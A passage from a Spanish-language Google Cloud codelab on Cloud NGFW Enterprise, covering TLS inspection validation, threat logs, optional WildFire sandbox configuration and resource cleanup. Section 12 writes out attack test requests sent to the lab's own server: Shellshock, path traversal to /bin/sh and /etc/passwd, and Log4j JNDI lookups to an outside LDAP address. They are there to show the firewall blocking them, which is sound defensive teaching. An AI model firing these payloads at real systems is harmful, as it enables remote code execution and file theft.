Importa la política de TLS actualizada:
gcloud network-security tls-inspection-policies import $prefix-tls-policy --project=$project_id --location=$region --source=tls_policy.yaml
12. Valida la inspección de TLS de este a oeste
Vuelve a conectarte al cliente a través de SSH para probar el tráfico este-oeste con la configuración de confianza actualizada:
gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone
Ejecuta la solicitud de TLS de muestra al servidor:
curl https://$target_privateip --max-time 2
Si aún obtienes el siguiente resultado, espera a que se propaguen las actualizaciones.
curl: (60) SSL certificate problem: self signed certificate More details here: https://curl.se/docs/sslcerts.html curl failed to verify the legitimacy of the server and therefore could not establish a secure connection to it. To learn more about this situation and how to fix it, please visit the web page mentioned above.
Resultado esperado:
Page on ngfw-enterprise-us-west1-b-www in network ngfw-enterprise-vpc zone $zone
Envía tráfico de prueba malicioso al servidor:
curl https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2
curl https://$target_privateip/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2
curl https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2
curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://$target_privateip --max-time 2
curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://$target_privateip --max-time 2
Resultado esperado:
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104 curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104 curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104 curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104 curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
No se reciben respuestas según el resultado esperado que se muestra a continuación, lo que confirma que los ataques de muestra ahora se están bloqueando para E/W.
13. Logging
Navega a Logging > Explorador de registros a través de la consola de Cloud, ingresa el filtro que se muestra a continuación y consulta los registros. Reemplaza [PROJECT_ID] por tu ID del proyecto:
logName="projects/[PROJECT_ID]/logs/networksecurity.googleapis.com%2Ffirewall_threat"
Las entradas de registro de Cloud NGFW Enterprise deberían verse de forma similar a la siguiente:

Expande las entradas de registro y observa que los ataques enviados desde la VM del cliente al servidor se identificaron y bloquearon (Vulnerabilidad de ejecución remota de código de Apache Log4j, como se muestra en la captura de pantalla que aparece a continuación).

Implementaste correctamente Cloud NGFW Enterprise con la inspección de TLS para bloquear solicitudes maliciosas.
Continúa con la siguiente sección para configurar y validar de forma opcional la zona de pruebas avanzada contra malware (WildFire), o bien avanza a los pasos de limpieza.
14. Configura la zona de pruebas avanzada contra malware (WildFire) (opcional)
La zona de pruebas avanzada contra malware (WildFire) extiende la prevención de amenazas de Cloud NGFW Enterprise, ya que inspecciona los archivos en tránsito y envía los archivos desconocidos a una zona de pruebas basada en la nube (con la tecnología de Advanced WildFire de Palo Alto Networks) para realizar un análisis de comportamiento profundo.
Acepta el CLUF de la zona de pruebas avanzada contra malware
Antes de habilitar la zona de pruebas avanzada contra malware en un extremo de firewall, debes revisar y aceptar el Contrato de Licencia para el Usuario Final (EULA) único en tu proyecto de facturación ($billing_project). El EULA solo se puede aceptar en la consola de Google Cloud: ve a Seguridad de red > Extremos de firewall, edita el extremo $prefix-$zone, selecciona Habilitar la zona de pruebas avanzada contra malware (WildFire) en Configuración avanzada y haz clic en Aceptar y continuar.
Habilita la zona de pruebas avanzada contra malware en el extremo de firewall
Habilita la zona de pruebas avanzada contra malware en el extremo de firewall $prefix-$zone existente con gcloud network-security firewall-endpoints update:
gcloud network-security firewall-endpoints update $prefix-$zone \ --zone=$zone \ --organization $org_id \ --billing-project=$billing_project \ --enable-wildfire \ --no-async
Confirma que la zona de pruebas avanzada contra malware esté habilitada en el extremo de firewall:
gcloud network-security firewall-endpoints describe $prefix-$zone \ --organization $org_id \ --zone $zone
Resultado esperado (verifica wildfireSettings: enabled: true y state: ACTIVE):
associatedNetworks: - projects/$project_number/global/networks/$prefix-vpc associations: - name: projects/$project_number/locations/$zone/firewallEndpointAssociations/$prefix-association network: projects/$project_number/global/networks/$prefix-vpc billingProjectId: $billing_project createTime: '2023-11-16T04:27:17.677731831Z' endpointSettings: contentCloudRegion: US_CENTRAL name: organizations/$org_id/locations/$zone/firewallEndpoints/$prefix-$zone state: ACTIVE updateTime: '2023-11-16T05:15:12.104829104Z' wildfireSettings: enabled: true wildfireRegion: UNITED_STATES
Crea y configura el perfil de seguridad de WILDFIRE_ANALYSIS
Crea un perfil de seguridad de zona de pruebas avanzada contra malware (WILDFIRE_ANALYSIS) llamado $prefix-sp-wildfire:
gcloud network-security security-profiles wildfire-analysis \ create $prefix-sp-wildfire \ --organization $org_id \ --location=global
Resultado esperado:
Waiting for security-profile [organizations/$org_id/locations/global/securityProfiles/$prefix-sp-wildfire] to be created...done.
A continuación, agrega una regla de envío asíncrono para enviar archivos APK en las direcciones de carga y descarga (--direction=BOTH):
gcloud network-security security-profiles wildfire-analysis \ add-submission-rule $prefix-sp-wildfire \ --organization $org_id \ --location=global \ --file-types=APK \ --direction=BOTH
Resultado esperado:
Waiting for security-profile [organizations/$org_id/locations/global/securityProfiles/$prefix-sp-wildfire] to be updated...done.
Inspecciona el perfil de seguridad WILDFIRE_ANALYSIS configurado:
gcloud network-security security-profiles wildfire-analysis \ describe $prefix-sp-wildfire \ --organization $org_id \ --location=global
Resultado esperado:
createTime: '2026-02-20T23:56:26.279556627Z'
etag: S5I9SG6PfLz9g9wDqESHaqVwguOWmZhtlxC6-6HNbv4
name: organizations/$org_id/locations/global/securityProfiles/$prefix-sp-wildfire
type: WILDFIRE_ANALYSIS
updateTime: '2026-02-20T23:56:33.791742652Z'
wildfireAnalysisProfile:
wildfireInlineMlSetting: {}
wildfireSubmissionRules:
- customFileTypes:
fileTypes:
- APK
direction: BOTH
fileSelectionMode: CUSTOM_FILE_TYPES
Actualiza el grupo de perfiles de seguridad ($prefix-spg)
Actualiza $prefix-spg para adjuntar $prefix-sp-wildfire:
gcloud network-security security-profile-groups update $prefix-spg \ --organization $org_id \ --location=global \ --wildfire-analysis-profile=organizations/$org_id/locations/global/securityProfiles/$prefix-sp-wildfire
Resultado esperado:
Waiting for security-profile-group [organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg] to be updated...done.
Debido a que la regla de política de firewall 900 (EGRESS sobre tcp:443 con --action=apply_security_profile_group y --tls-inspect) ya hace referencia a $prefix-spg, las descargas de archivos HTTPS encriptados que se inician desde $prefix-$zone-client se desencriptan automáticamente con la inspección de TLS y se evalúan con la zona de pruebas avanzada contra malware sin necesidad de cambiar las reglas de la política de firewall.
15. Valida el envío de archivos y el análisis forense de la zona de pruebas avanzada contra malware (opcional)
Prueba el envío asíncrono de la zona de pruebas y el filtrado por tipo de archivo
Conéctate a la VM de cliente ($prefix-$zone-client) a través de Identity-Aware Proxy (IAP):
gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone
Desde la VM del cliente, descarga el archivo APK de prueba público de Palo Alto Networks a través de HTTPS:
curl -o /tmp/wildfire-test.apk https://wildfire.paloaltonetworks.com/publicapi/test/apk --max-time 15
A continuación, descarga el archivo de prueba público ELF de Palo Alto Networks a través de HTTPS:
curl -o /tmp/wildfire-test.elf https://wildfire.paloaltonetworks.com/publicapi/test/elf --max-time 15
Debido a que nuestra regla de envío en $prefix-sp-wildfire solo se aplica a los archivos APK (--file-types=APK), el firewall no envía el archivo ELF a la zona de pruebas avanzada contra malware.
Sal de la terminal de la VM del cliente y regresa a Cloud Shell.
Verifica WildfireSubmissionLog en Cloud Logging
Navega a Logging > Explorador de registros a través de la consola de Cloud, ingresa el filtro que se muestra a continuación y consulta los registros. Reemplaza [PROJECT_ID] por tu ID del proyecto:
logName="projects/[PROJECT_ID]/logs/networksecurity.googleapis.com%2Ffirewall_wildfire"
Una vez que se completa el análisis de la zona de pruebas (por lo general, en unos minutos), aparece una entrada de WildfireSubmissionLog para la descarga del archivo APK, mientras que no se genera ningún registro de envío para la descarga del archivo ELF (si no aparece ninguna entrada de registro después de varios minutos, espera a que se complete la ventana de propagación de 15 minutos del grupo de perfiles de seguridad y vuelve a ejecutar la descarga de curl). Expande la entrada de registro y observa que su carga útil de JSON es similar a la siguiente:
{
"insertId": "3xim62fg6n786",
"jsonPayload": {
"@type": "type.googleapis.com/google.cloud.networksecurity.logging.v1.WildfireSubmissionLog",
"action": "ALLOW",
"connection": {
"clientIp": "10.0.0.2",
"clientPort": 37142,
"protocol": "tcp",
"serverIp": "104.199.115.54",
"serverPort": 443
},
"interceptInstance": {
"projectId": "$project_id",
"vm": "ngfw-enterprise-$zone-client"
},
"interceptVpc": {
"projectId": "$project_id",
"vpc": "ngfw-enterprise-vpc"
},
"securityProfileGroupDetails": {
"organizationId": "$org_id",
"securityProfileGroupId": "ngfw-enterprise-spg"
},
"wildfireDetails": {
"detectionTime": "2026-10-16T20:29:44Z",
"direction": "SERVER_TO_CLIENT",
"file": "wildfire-test-apk-file.apk",
"fileType": "APK",
"hash": "A526BDAD9BD60C8A317184D3327C3A0C9DD522354D5DC5ED2B6A4633AA2C5007",
"repeatCount": 1,
"reportUri": "https://networksecurity.usercontent.google.com/organizations/$org_id/locations/$zone/firewallEndpoints/ngfw-enterprise-$zone/wildfireReports/A526BDAD9BD60C8A317184D3327C3A0C9DD522354D5DC5ED2B6A4633AA2C5007",
"sampleUri": "https://networksecurity.usercontent.google.com/organizations/$org_id/locations/$zone/firewallEndpoints/ngfw-enterprise-$zone/wildfireSamples/A526BDAD9BD60C8A317184D3327C3A0C9DD522354D5DC5ED2B6A4633AA2C5007",
"severity": "[SEVERITY]",
"subtype": "WILDFIRE",
"verdict": "[VERDICT]"
}
},
"logName": "projects/$project_id/logs/networksecurity.googleapis.com%2Ffirewall_wildfire",
"receiveTimestamp": "2026-10-16T20:29:57.880438600Z",
"resource": {
"labels": {
"id": "ngfw-enterprise-$zone",
"location": "$zone",
"resource_container": "organizations/$org_id"
},
"type": "networksecurity.googleapis.com/FirewallEndpoint"
},
"timestamp": "2026-10-16T20:29:57.880438600Z"
}
Observa los campos clave en wildfireDetails:
fileType: "APK"ysubtype: "WILDFIRE"confirman el análisis asíncrono de la zona de pruebas de la transferencia deAPK.filees el nombre de archivo que proporciona el servidor (wildfire-test-apk-file.apk), que puede diferir del nombre de archivo local que se usa concurl -o.hashidentifica el resumen único de SHA-256 de la muestra de prueba.verdictyseverityse determinan mediante el análisis de la zona de pruebas.reportUriysampleUriproporcionan vínculos directos para recuperar el informe de análisis dinámico y la muestra enviada.
Visualiza el envío y descarga los artefactos forenses
Navega a Seguridad de redes > Registros de NGFW Enterprise > Envíos de zona de pruebas avanzada contra malware a través de la consola de Cloud y selecciona tu proyecto. Haz clic en la entrada wildfire-test-apk-file.apk para ver los detalles del envío, incluidos el hash SHA-256 del archivo, el veredicto y el extremo del firewall. En Más acciones para el envío, puedes seleccionar Descargar informe de análisis para descargar el informe de análisis dinámico en formato PDF o Descargar muestra de software malicioso para descargar el archivo enviado.
Como alternativa, puedes descargar el informe de análisis y la muestra de Cloud Shell con los valores reportUri y sampleUri de la entrada WildfireSubmissionLog:
export report_uri="<REPORT_URI_FROM_LOG>" export sample_uri="<SAMPLE_URI_FROM_LOG>" curl -H "Authorization: Bearer $(gcloud auth print-access-token)" \ "$report_uri" -o wildfire-report.pdf curl -H "Authorization: Bearer $(gcloud auth print-access-token)" \ "$sample_uri" -o wildfire-sample.bin
16. Pasos para la limpieza
Limpieza de la configuración básica
Quita las instancias:
gcloud -q compute instances delete $prefix-$zone-www --zone=$zone gcloud -q compute instances delete $prefix-$zone-client --zone=$zone
Sigue los pasos que se indican a continuación si se cambiaron los roles tagAdmin y tagUsers:
export user_id=$(gcloud auth list --format="value(account)") gcloud organizations remove-iam-policy-binding $org_id \ --member user:$user_id --role roles/resourcemanager.tagAdmin gcloud organizations remove-iam-policy-binding $org_id \ --member user:$user_id --role roles/resourcemanager.tagUser
Quita la clave y los valores de la etiqueta:
gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-client gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-server gcloud -q resource-manager tags keys delete $project_id/$prefix-vpc-tags
Quita la política de red de Cloud Firewall y la asociación:
gcloud -q compute network-firewall-policies associations delete \
--firewall-policy $prefix-fwpolicy \
--name $prefix-fwpolicy-association \
--global-firewall-policy
gcloud -q compute network-firewall-policies delete $prefix-fwpolicy --global
Borra el Cloud Router y Cloud NAT:
gcloud -q compute routers nats delete $prefix-cloudnat-$region \ --router=$prefix-cr --router-region $region gcloud -q compute routers delete $prefix-cr --region=$region
Borra las direcciones IP reservadas:
gcloud -q compute addresses delete $prefix-$region-cloudnatip --region=$region
Limpieza de SPG, asociación y TLS de Cloud Firewall
Borra el grupo de perfiles de seguridad y los perfiles de seguridad en este orden (si completaste la sección opcional de zona de pruebas avanzada contra malware, también ejecuta el comando para borrar $prefix-sp-wildfire después de que se borre $prefix-spg):
gcloud -q network-security security-profile-groups delete \ $prefix-spg \ --organization $org_id \ --location=global gcloud -q network-security security-profiles wildfire-analysis \ delete $prefix-sp-wildfire \ --organization $org_id \ --location=global gcloud -q network-security security-profiles threat-prevention \ delete $prefix-sp-threat \ --organization $org_id \ --location=global
Borra la asociación del extremo de Cloud Firewall:
gcloud -q network-security firewall-endpoint-associations delete \ $prefix-association --zone $zone
Borra el extremo de Cloud Firewall, lo que puede tardar unos 20 minutos:
gcloud -q network-security firewall-endpoints delete $prefix-$zone --zone=$zone --organization $org_id
De manera opcional, ejecuta el siguiente comando para confirmar que se borró el extremo de Cloud NGFW:
gcloud network-security firewall-endpoints list --zone $zone \ --organization $org_id
El estado del extremo debería mostrar lo siguiente:
STATE: DELETING
Cuando se complete, el extremo ya no aparecerá en la lista.
Borra la política de TLS y la configuración de confianza en este orden:
gcloud -q network-security tls-inspection-policies delete \ $prefix-tls-policy \ --location=$region gcloud -q alpha certificate-manager trust-configs delete \ $prefix-trust-config \ --location=$region
Inhabilita y borra la AC raíz y el grupo de AC:
gcloud -q privateca roots disable $prefix-CA-Root \ --location=$region \ --pool=$prefix-CA-Pool \ --ignore-dependent-resources gcloud -q privateca roots delete $prefix-CA-Root \ --location=$region \ --pool=$prefix-CA-Pool \ --skip-grace-period \ --ignore-active-certificates \ --ignore-dependent-resources gcloud -q privateca pools delete $prefix-CA-Pool \ --location=$region \ --ignore-dependent-resources
Limpieza de subredes y VPC
Por último, borra la subred y la red de VPC:
gcloud -q compute networks subnets delete $prefix-$region-subnet --region $region gcloud -q compute networks delete $prefix-vpc
17. ¡Felicitaciones!
¡Felicitaciones! Completaste correctamente el codelab de Cloud NGFW Enterprise para la inspección de TLS de este a oeste y hacia el norte.